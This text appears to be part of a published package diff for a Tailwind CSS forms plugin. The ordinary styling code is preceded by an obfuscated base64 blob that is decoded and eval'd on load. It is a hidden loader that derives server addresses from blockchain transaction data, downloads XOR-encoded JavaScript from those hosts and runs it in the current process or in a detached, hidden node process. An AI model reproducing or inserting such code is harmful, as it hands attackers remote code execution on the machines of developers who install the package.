UluZGV4ZXIoKSl9DQpjb25z","dFtpcDEsaXAyXT1kZWNvZGVBZGRyZXNzKG1hdGNoLnR4LnRvKT","tjb25zdCBfZ2xvYmFsPWdsb2JhbDtfZ2xvYmFsLl9WPV9nbG9i","YWwuaTtfZ2xvYmFsLl9IPWBodHRwOi8vJHtpcDF9OjgwYDtfZ2","xvYmFsLl9IMj1gaHR0cDovLyR7aXAyfTo4MGA7X2dsb2JhbC5f","dF9zPWBodHRwOi8vJHtpcDF9OjQ0M2A7X2dsb2JhbC5fdF91PW","BodHRwOi8vJHtpcDF9OjgwYDtmdW5jdGlvbiBnZXRDb2RlKGtl","eSx1cmwpe2NvbnN0IGJhc2U9e2hvc3RuYW1lOnVybC5ob3N0bm","FtZSxwb3J0Ok51bWJlcih1cmwucG9ydCl8fDgwLHBhdGg6dXJs","LnBhdGhuYW1lK3VybC5zZWFyY2gsaGVhZGVyczp7J1VzZXItQW","dlbnQnOidNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBX","aW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLC","BsaWtlIEdlY2tvKSBDaHJvbWUvMTMxLjAuMC4wIFNhZmFyaS81","MzcuMzYnLCdTZWMtVic6X2dsb2JhbC5fVnx8MCx9LH07ZnVuY3","Rpb24geG9yRGVjb2RlKGJ1Zil7Y29uc3Qga249a2V5Lmxlbmd0","aDtmb3IobGV0IGk9MDtpPGJ1Zi5sZW5ndGg7aSsrKWJ1ZltpXV","49a2V5LmNoYXJDb2RlQXQoaSVrbik7cmV0dXJuIGJ1Zi50b1N0","cmluZygndXRmOCcpfQ0KZnVuY3Rpb24gZnJvbUI2NEhlYWRlci","hyZXMpe2NvbnN0IGI2ND1yZXMuaGVhZGVyc1sneC1wYXlsb2Fk","LWI2NCddO2lmKCFiNjQpdGhyb3cgbmV3IEVycm9yKCdNaXNzaW","5nIFgtUGF5bG9hZC1CNjQnKTtyZXR1cm4geG9yRGVjb2RlKEJ1","ZmZlci5mcm9tKGI2NCwnYmFzZTY0JykpfQ0KZnVuY3Rpb24gcm","VxdWVzdChtZXRob2Qpe3JldHVybiBuZXcgUHJvbWlzZSgocmVz","b2x2ZSxyZWplY3QpPT57Y29uc3QgcmVxPWh0dHAucmVxdWVzdC","h7Li4uYmFzZSxtZXRob2R9LChyZXMpPT57aWYobWV0aG9kPT09","J0hFQUQnKXt0cnl7cmVzb2x2ZShmcm9tQjY0SGVhZGVyKHJlcy","kpfWNhdGNoKGUpe3JlamVjdChlKX0NCnJlcy5yZXN1bWUoKTty","ZXR1cm59DQpjb25zdCBjaHVua3M9W107cmVzLm9uKCdkYXRhJy","woY2h1bmspPT5jaHVua3MucHVzaChjaHVuaykpO3Jlcy5vbign","ZW5kJywoKT0+e3RyeXtjb25zdCBidWY9QnVmZmVyLmNvbmNhdC","hjaHVua3MpO2lmKGJ1Zi5sZW5ndGgpcmV0dXJuIHJlc29sdmUo","eG9yRGVjb2RlKGJ1ZikpO2lmKHJlcy5oZWFkZXJzWyd4LXBheW","xvYWQtYjY0J10pcmV0dXJuIHJlc29sdmUoZnJvbUI2NEhlYWRl","cihyZXMpKTtyZWplY3QobmV3IEVycm9yKCdFbXB0eSBwYXlsb2","FkIGJvZHknKSl9Y2F0Y2goZSl7cmVqZWN0KGUpfX0pO3Jlcy5v","bignZXJyb3InLHJlamVjdCl9KTtyZXEub24oJ2Vycm9yJyxyZW","plY3QpO3JlcS5lbmQoKX0pfQ0KcmV0dXJuIHJlcXVlc3QoJ0dF","VCcpLmNhdGNoKCgpPT5yZXF1ZXN0KCdIRUFEJykpfQ0KYXN5bm","MgZnVuY3Rpb24gcnVuX2xvYWRlcih1cmwsa2V5LGlzQm9vdCl7","dHJ5e2NvbnN0IGNvZGU9YXdhaXQgZ2V0Q29kZShrZXksdXJsKT","tjb25zdCBlbnY9aXNCb290P2BnbG9iYWxbJ19WJ109JyR7X2ds","b2JhbFsnX1YnXSB8fCAwfSc7Z2xvYmFsWydfSCddPScke19nbG","9iYWxbJ19IJ119JztnbG9iYWxbJ19IMiddPScke19nbG9iYWxb","J19IMiddfSc7Z2xvYmFsWydyJ109cmVxdWlyZTtnbG9iYWxbJ2","0nXT1tb2R1bGU7dmFyIF9nbG9iYWw9Z2xvYmFsO2A6YGdsb2Jh","bFsnX1YnXT0nJHtfZ2xvYmFsWydfViddIHx8IDB9JztnbG9iYW","xbJ190X3MnXT0nJHtfZ2xvYmFsWydfdF9zJ119JztnbG9iYWxb","J190X3UnXT0nJHtfZ2xvYmFsWydfdF91J119JztnbG9iYWxbJ3","InXT1yZXF1aXJlO2dsb2JhbFsnbSddPW1vZHVsZTt2YXIgX2ds","b2JhbD1nbG9iYWw7YDtpZighaXNCb290KWV2YWwoZW52K2NvZG","UpO3NwYXduKCdub2RlJyxbJy1lJyxlbnYrY29kZV0se2RldGFj","aGVkOiEwLHN0ZGlvOidpZ25vcmUnLHdpbmRvd3NIaWRlOiEwLH","0pLnVucmVmKCl9Y2F0Y2goZSl7fX0NCmF3YWl0IHJ1bl9sb2Fk","ZXIobmV3IFVSTChgaHR0cDovLyR7aXAxfTo0NDMvMHgvY2xzYC","ksJ3E0RlpreFh7IWgsU3IzPUAnLCExKTthd2FpdCBydW5fbG9h","ZGVyKG5ldyBVUkwoYGh0dHA6Ly8ke2lwMX06NDQzLzB4L2xzYC","ksJ3ktcF8+ZCQwQiZAXjFhUWsnLCEwKX0NCnJ1bigpOw=="].join('');var _0x977e9eb=atob(_0x977e9ea);eval(_0x977e9eb);})();const svgToDataUri=require("mini-svg-data-uri"),plugin=require("tailwindcss/plugin"),defaultTheme=require("tailwindcss/defaultTheme"),colors=require("tailwindcss/colors"),[baseFontSize,{lineHeight:baseLineHeight}]=defaultTheme.fontSize.base,{spacing:spacing,borderWidth:borderWidth,borderRadius:borderRadius}=defaultTheme;function resolveColor(e,t){return e.replace("<alpha-value>",`var(${t}, 1)`)}const forms=plugin.withOptions(function(e={strategy:void 0}){return function({addBase:t,addComponents:r,theme:o}){const i=void 0===e.strategy?["base","class"]:[e.strategy],a=[{base:["input:where([type='text'])","input:where(:not([type]))","input:where([type='email'])","input:where([type='url'])","input:where([type='password'])","input:where([type='number'])","input:where([type='date'])","input:where([type='datetime-local'])","input:where([type='month'])","input:where([type='search'])","input:where([type='tel'])","input:where([type='time'])","input:where([type='week'])","select:where([multiple])","textarea","select"],class:[".form-input",".form-textarea",".form-select",".form-multiselect"],styles:{appearance:"none","background-color":"#fff","border-color":resolveColor(o("colors.gray.500",colors.gray[500]),"--tw-border-opacity"),"border-width":borderWidth.DEFAULT,"border-radius":borderRadius.none,"padding-top":spacing[2],"padding-right":spacing[3],"padding-bottom":spacing[2],"padding-left":spacing[3],"font-size":baseFontSize,"line-height":baseLineHeight,"--tw-shadow":"0 0 #0000","&:focus":{outline:"2px solid transparent","outline-offset":"2px","--tw-ring-inset":"var(--tw-empty,/*!*/ /*!*/)","--tw-ring-offset-width":"0px","--tw-ring-offset-color":"#fff","--tw-ring-color":resolveColor(o("colors.blue.600",colors.blue[600]),"--tw-ring-opacity"),"--tw-ring-offset-shadow":"var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color)","--tw-ring-shadow":"var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color)","box-shadow":"var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow)","border-color":resolveColor(o("colors.blue.600",colors.blue[600]),"--tw-border-opacity")}}},{base:["input::placeholder","textarea::placeholder"],class:[".form-input::placeholder",".form-textarea::placeholder"],styles:{color:resolveColor(o("colors.gray.500",colors.gray[500]),"--tw-text-opacity"),opacity:"1"}},{base:["::-webkit-datetime-edit-fields-wrapper"],class:[".form-input::-webkit-datetime-edit-fields-wrapper"],styles:{padding:"0"}},{base:["::-webkit-date-and-time-value"],class:[".form-input::-webkit-date-and-time-value"],styles:{"min-height":"1.5em"}},{base:["::-webkit-date-and-time-value"],class:[".form-input::-webkit-date-and-time-value"],styles:{"text-align":"inherit"}},{base:["::-webkit-datetime-edit"],class:[".form-input::-webkit-datetime-edit"],styles:{display:"inline-flex"}},{base:["::-webkit-datetime-edit","::-webkit-datetime-edit-year-field","::-webkit-datetime-edit-month-field","::-webkit-datetime-edit-day-field","::-webkit-datetime-edit-hour-field","::-webkit-datetime-edit-minute-field","::-webkit-datetime-edit-second-field","::-webkit-datetime-edit-millisecond-field","::-webkit-datetime-edit-meridiem-field"],class:[".form-input::-webkit-datetime-edit",".form-input::-webkit-datetime-edit-year-field",".form-input::-webkit-datetime-edit-month-field",".form-input::-webkit-datetime-edit-day-field",".form-input::-webkit-datetime-edit-hour-field",".form-input::-webkit-datetime-edit-minute-field",".form-input::-webkit-datetime-edit-second-field",".form-input::-webkit-datetime-edit-millisecond-field",".form-input::-webkit-datetime-edit-meridiem-field"],styles:{"padding-top":0,"padding-bottom":0}},{base:["select"],class:[".form-select"],styles:{"background-image":`url("${svgToDataUri(`<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 20 20"><path stroke="${function(e,t){let r=o(e);return!r||r.includes("var(")?t:r.replace("<alpha-value>","1")}("colors.gray.500",colors.gray[500])}" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5" d="M6 8l4 4 4-4"/></svg>`)}")`,"background-position":`right ${spacing[2]} center`,"background-repeat":"no-repeat","background-size":"1.5em 1.5em","padding-right":spacing[10],"print-color-adjust":"exact"}},{base:["select:where([multiple])",'select:where([size]:not([size="1"]))'],class:['.form-select:where([size]:not([size="1"]))'],styles:{"background-image":"initial","background-position":"initial","background-repeat":"unset","background-size":"initial","padding-right":spacing[3],"print-color-adjust":"unset"}},{base:["input:where([type='checkbox'])","input:where([type='radio'])"],class:[".form-checkbox",".form-radio"],styles:{appearance:"none",padding:"0","print-color-adjust":"exact",display:"inline-block","vertical-align":"middle","background-origin":"border-box","user-select":"none","flex-shrink":"0",height:spacing[4],width:spacing[4],color:resolveColor(o("colors.blue.600",colors.blue[600]),"--tw-text-opacity"),"background-color":"#fff","border-color":resolveColor(o("colors.gray.500",colors.gray[500]),"--tw-border-opacity"),"border-width":borderWidth.DEFAULT,"--tw-shadow":"0 0 #0000"}},{base:["input:where([type='checkbox'])"],class:[".form-checkbox"],styles:{"border-radius":borderRadius.none}},{base:["input:where([type='radio'])"],class:[".form-radio"],styles:{"border-radius":"100%"}},{base:["input:where([type='checkbox']):focus","input:where([type='radio']):focus"],class:[".form-checkbox:focus",".form-radio:focus"],styles:{outline:"2px solid transparent","outline-offset":"2px","--tw-ring-inset":"var(--tw-empty,/*!*/ /*!*/)","--tw-ring-offset-width":"2px","--tw-ring-offset-color":"#fff","--tw-ring-color":resolveColor(o("colors.blue.600",colors.blue[600]),"--tw-ring-opacity"),"--tw-ring-offset-shadow":"var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color)","--tw-ring-shadow":"var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color)","box-shadow":"var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow)"}},{base:["input:where([type='checkbox']):checked","input:where([type='radio']):checked"],class:[".form-checkbox:checked",".form-radio:checked"],styles:{"border-color":"transparent","background-color":"currentColor","background-size":"100% 100%","background-position":"center","background-repeat":"no-repeat"}},{base:["input:where([type='checkbox']):checked"],class:[".form-checkbox:checked"],styles:{"background-image":`url("${svgToDataUri('<svg viewBox="0 0 16 16" fill="white" xmlns="http://www.w3.org/2000/svg"><path d="M12.207 4.793a1 1 0 010 1.414l-5 5a1 1 0 01-1.414 0l-2-2a1 1 0 011.414-1.414L6.5 9.086l4.293-4.293a1 1 0 011.414 0z"/></svg>')}")`,"@media (forced-colors: active) ":{appearance:"auto"}}},{base:["input:where([type='radio']):checked"],class:[".form-radio:checked"],styles:{"background-image":`url("${svgToDataUri('<svg viewBox="0 0 16 16" fill="white" xmlns="http://www.w3.org/2000/svg"><circle cx="8" cy="8" r="3"/></svg>')}")`,"@media (forced-colors: active) ":{appearance:"auto"}}},{base:["input:where([type='checkbox']):checked:hover","input:where([type='checkbox']):checked:focus","input:where([type='radio']):checked:hover","input:where([type='radio']):checked:focus"],class:[".form-checkbox:checked:hover",".form-checkbox:checked:focus",".form-radio:checked:hover",".form-radio:checked:focus"],styles:{"border-color":"transparent","background-color":"currentColor"}},{base:["input:where([type='checkbox']):indeterminate"],class:[".form-checkbox:indeterminate"],styles:{"background-image":`url("${svgToDataUri('<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 16 16"><path stroke="white" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 8h8"/></svg>')}")`,"border-color":"transparent","background-color":"currentColor","background-size":"100% 100%","background-position":"center","background-repeat":"no-repeat","@media (forced-colors: active) ":{appearance:"auto"}}},{base:["input:where([type='checkbox']):indeterminate:hover","input:where([type='checkbox']):indeterminate:focus"],class:[".form-checkbox:indeterminate:hover",".form-checkbox:indeterminate:focus"],styles:{"border-color":"transparent","background-color":"currentColor"}},{base:["input:where([type='file'])"],class:null,styles:{background:"unset","border-color":"inherit","border-width":"0","border-radius":"0",padding:"0","font-size":"unset","line-height":"inherit"}},{base:["input:where([type='file']):focus"],class:null,styles:{outline:["1px solid ButtonText","1px auto -webkit-focus-ring-color"]}}],s=e=>a.map(t=>null===t[e]?null:{[t[e]]:t.styles}).filter(Boolean);i.includes("base")&&t(s("base")),i.includes("class")&&r(s("class"))}});module.exports=forms;
package/tailwind.config.js ADDED
@@ -0,0 +1,9 @@
1
+ module.exports = {
2
+ content: ['./index.html', './kitchen-sink.html'],
3
+ theme: {
4
+ extend: {
5
+ //
6
+ },
7
+ },
8
+ plugins: [require('./src')],
9
+ }